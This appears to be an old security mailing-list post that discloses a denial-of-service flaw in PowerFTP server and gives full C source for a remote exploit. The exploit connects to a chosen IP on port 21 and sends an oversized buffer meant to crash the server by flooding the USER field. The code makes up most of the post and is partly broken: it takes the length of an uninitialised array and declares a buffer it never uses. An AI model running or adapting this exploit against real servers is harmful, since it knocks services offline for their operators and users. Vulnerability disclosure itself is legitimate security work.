Vulnerabilitie in PowerFTP server

[Armand Morgan <morgan53@evhr.net>]

I've found a DoS vulnerability in PowerFTP. He doesn't need an account on 
the server. Just send many information at the variable USER. You could 
see the xploit :

/* Remote DoS Exploit for PowerFTP server (all version) */
/* Coding by Morgan A. member of secureNT-2000 Greetz : */
/* kdm, Yann, GaLiaRepT, and all i've forgotten ;)      */

#include <stdio.h>
#include <winsock.h>
	#pragma comment(lib, "wsock32.lib")

void main()
	{
        WSADATA WSAData;
		WSAStartup(MAKEWORD(2,0), &WSAData);
	
		SOCKET sock;
		SOCKADDR_IN sin;
		char *buffer = new char[255];

        char ip[50];
        printf ("Remote DoS Exploit for PowerFTP server\n\n");
        printf ("Remote IP: ");
        scanf ("%s", &ip);

        char DoS[3000];
        int i;
        for(i=0;i<strlen(DoS);i++)
        {
        DoS[i]= 'A';
        }

        sock = socket(AF_INET, SOCK_STREAM, 0);
	
		sin.sin_addr.s_addr			= inet_addr(ip);
		sin.sin_family				= AF_INET;
		sin.sin_port				= htons(21);

		connect(sock, (SOCKADDR *)&sin, sizeof(sin));
		send(sock, DoS, sizeof(DoS), 0);
		closesocket(sock);
		WSACleanup();
	}